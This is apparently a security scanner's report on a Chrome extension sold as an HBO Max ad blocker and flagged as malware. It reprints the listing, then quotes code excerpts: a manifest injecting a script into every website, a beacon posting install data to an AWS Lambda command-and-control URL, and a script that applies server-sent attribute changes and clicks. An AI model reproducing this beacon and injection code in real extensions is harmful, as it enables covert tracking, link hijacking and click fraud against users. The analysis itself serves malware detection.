Security Alert: Confirmed Malware
Max Ad Blocker
ID: hhhidlekcoaoflbdjbnfpchjckilgcag
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- HBO Max Ad BlockerView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Max Ad Blocker Enhances Your HBO Max Experience: Stream All Favorite Content On Max.com Without Interruptions. No More Annoying Ads!
Max Ad Blocker: Transform Your HBO Max Streaming Experience! Experience HBO Max like never before with HBO Max Ad Blocker, the essential unofficial extension designed to enhance your viewing on Max.com. Dive into your favorite HBO Max shows, movies, and exclusive content without the disruption of ads. Max Ad Blocker is crafted to provide a seamless, uninterrupted streaming experience, letting you focus on the entertainment you love. Key Features of Max Ad Blocker: 1. Block All Ads: Eliminate all forms of commercials and advertisements across HBO Max. Enjoy pure, uninterrupted viewing of your preferred series, movies, and specials. 2. Faster Streaming: With ads out of the way, your streaming becomes faster and smoother. Spend more time watching and less time buffering. 3. Easy to Use: Max Ad Blocker integrates directly into your Chrome browser with a simple toggle switch for enabling or disabling ad blocking on HBO Max. Control is at your fingertips. 4. Regular Updates: Stay ahead of the curve with regular updates designed to keep pace with HBO Max enhancements and new ad technologies, ensuring optimal performance. Installation is Simple: 1. Add Max Ad Blocker to Chrome. 2. Navigate to Max.com and select the content you wish to watch. 3. Activate the ad blocker via the extension icon. Refresh your browser if ads are still visible. Please Note: Max Ad Blocker is an unofficial extension and is not endorsed by, affiliated with, or associated with HBO Max, WarnerMedia, or any related entities. This extension is developed to improve your streaming experience by minimizing ad interruptions and is intended for personal and non-commercial use only. Ready to Enjoy HBO Max Uninterrupted? Download Max Ad Blocker now and start your ad-free journey on HBO Max. Watch your beloved shows and movies the way they were meant to be experienced: uninterrupted! Disclaimer: Max Ad Blocker is an independently developed extension and is not officially endorsed, affiliated, or associated with HBO Max, WarnerMedia, or any of their subsidiaries. This extension is designed to enhance your viewing experience by blocking ads on Max.com and is intended for personal and non-commercial use only. Usage of this extension must comply with all applicable laws and terms of service of the website.
The manifest declares host_permissions narrowly for play.max.com only (an HBO Max ad-skipper would legitimately need only that), but a second content_scripts entry injects contentScript.js into EVERY http(s) page on the web. This grants the extension full DOM read/write across the entire web while disguising itself as a Max-only ad blocker, a hallmark of stealthy privilege escalation.
"host_permissions": ["*://*.play.max.com/*"], "permissions": ["storage", "unlimitedStorage"], ... "content_scripts": [ { "js": ["options.js", "content.js"], "matches": ["*://*.play.max.com/*"], "match_origin_as_fallback": true, "all_frames": true }, { "matches": ["https://*/*", "http://*/*"], "js": ["contentScript.js"], "run_at": "document_idle" } ]On install, startup and every new window the service worker POSTs the user's IANA timezone, extension id, name and version to an unbranded AWS Lambda URL (equffv4hvj2izihf5zffnte7lu0voace.lambda-url.us-east-2.on.aws) and stores the JSON response as 'config' in chrome.storage.local. This is a classic command-and-control beacon: the server can fingerprint installs by timezone and ship attacker-controlled instructions back, which the content scripts then act on. There is no functional reason an HBO Max ad skipper needs to phone home with this telemetry.
function callApi() { chrome.storage.local.get("data", (({ data: e }) => { if (isValidTime(e)) { let e = ""; try { e = Intl.DateTimeFormat() .resolvedOptions() .timeZone } catch { e = "NA" } const t = chrome.runtime.getManifest(); fetch("https://equffv4hvj2izihf5zffnte7lu0voace.lambda-url.us-east-2.on.aws/", { method: "POST", ... body: JSON.stringify({ name: t.name, version: t.version, verify: chrome.runtime.id, timeZone: e }) }) .then((e => e.json())) .then((e => { const t = { config: e, lastDate: JSON.stringify(new Date) }; chrome.storage.local.set({ data: t }) })This script runs on EVERY website (per manifest) and consumes the remote 'adProducers' list returned by the Lambda C2 endpoint. For any URL whose prefix the server matches, it does element[attribute] = value followed by a synthetic click — a fully server-controlled DOM mutation + click primitive. The attacker can set href/src/onclick/innerHTML on any selector on any site and trigger it, enabling affiliate-link injection, silent navigation hijack, click-fraud, or follow-on script loading without ever shipping a new extension version.
const AD_LAST_DATE = "adtLastDate";function skipAdByClicking(t) { const e = document.querySelector(t.selector); t?.to && e && (localStorage.setItem(AD_LAST_DATE, JSON.stringify(new Date)), e[t.attribute] = t.to, e.click())}window.addEventListener("load", (function() { chrome.storage.local.get("data", (function({ data: t }) { if (t?.config?.adProducers?.length > 0) { const e = window.location.href, o = t.config.adProducers.find((t => e.startsWith(t?.from))); if (o) { const t = JSON.parse(localStorage.getItem(AD_LAST_DATE)); if (t) { const e = new Date - new Date(t); Math.round(e / 864e5) > (o.timeout || 0) && skipAdByClicking(o) } else skipAdByClicking(o) } } }))}));The 'from' URL prefix used to gate execution is fully attacker-controlled via the C2 response, and it is matched against window.location.href on every page on the web. This effectively turns the universal content script into a targeted-injection framework: the server picks which sites to act on at runtime, which is also a common evasion technique against static review (no suspicious URL is ever hard-coded in the extension).
if (t?.config?.adProducers?.length > 0) { const e = window.location.href, o = t.config.adProducers.find((t => e.startsWith(t?.from))); if (o) { const t = JSON.parse(localStorage.getItem(AD_LAST_DATE)); if (t) { const e = new Date - new Date(t); Math.round(e / 864e5) > (o.timeout || 0) && skipAdByClicking(o) } else skipAdByClicking(o) }}The C2 beacon is wired to onInstalled, onStartup, and onCreated (every new browser window), giving the server frequent re-fingerprinting and the ability to push fresh instructions throughout a session. Pairing this cadence with the unbranded Lambda endpoint and timezone collection is consistent with low-level user tracking / install attribution beyond what's needed for ad-skipping.
chrome.runtime.onInstalled.addListener((() => { reloadPage()})), chrome.runtime.onInstalled.addListener((() => { callApi()})), chrome.windows.onCreated.addListener((function() { callApi()})), chrome.runtime.onStartup.addListener((function() { callApi()}));By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.0.2 | 5 |
Files with findings
3 distinct paths — top paths by unique finding count:
- background.js2
- contentScript.js2
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.